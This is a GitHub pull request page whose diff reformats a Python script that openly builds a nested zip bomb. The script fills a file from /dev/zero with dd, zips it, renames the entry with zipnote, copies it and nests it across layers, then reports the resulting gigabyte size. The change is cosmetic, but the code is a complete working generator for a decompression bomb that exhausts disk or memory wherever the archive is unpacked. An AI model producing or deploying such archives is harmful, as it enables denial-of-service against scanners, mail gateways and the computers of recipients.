Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

request for making code impossible to read #2

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 7 additions & 14 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,4 @@
import os
import subprocess
import os, subprocess

if os.name != "posix":
print("os not supported")
Expand All @@ -8,29 +7,23 @@
layers = int(input("Amount of layers: "))
files = int(input("Amount of files per layer: "))

try:
buff = int(input("dd buffer size (default=10 gb): "))
except ValueError:
buff = 10
try: buff = int(input("dd buffer size (default=10 gb): "))
except ValueError: buff = 10

print(f"total zip bomb size: {buff*(files**layers)} gigabytes")

cwd = os.getcwd()
try: os.mkdir("out")
except FileExistsError:
pass
except FileExistsError: pass

os.chdir("out")
subprocess.run(f"dd if=/dev/zero bs=1024 count={buff*(1024**2)} | zip zip0.zip -", shell=True)
subprocess.run(r"zipnote -w zip0.zip <<<$'@ -\n@=0'", shell=True, executable="bash")

for i in range(layers):
for j in range(files-1):
os.system(f"cp zip0.zip zip{j+1}.zip")
try:
os.mkdir(f"layer{i}")
except FileExistsError:
pass
for j in range(files-1): os.system(f"cp zip0.zip zip{j+1}.zip")
try: os.mkdir(f"layer{i}")
except FileExistsError: pass
os.system(f"zip -r -9 \"layer{i}/zip0.zip\" *.zip")
os.chdir(f"layer{i}")
os.system(f"cp zip0.zip {cwd}/zipbomb.zip")
Expand Down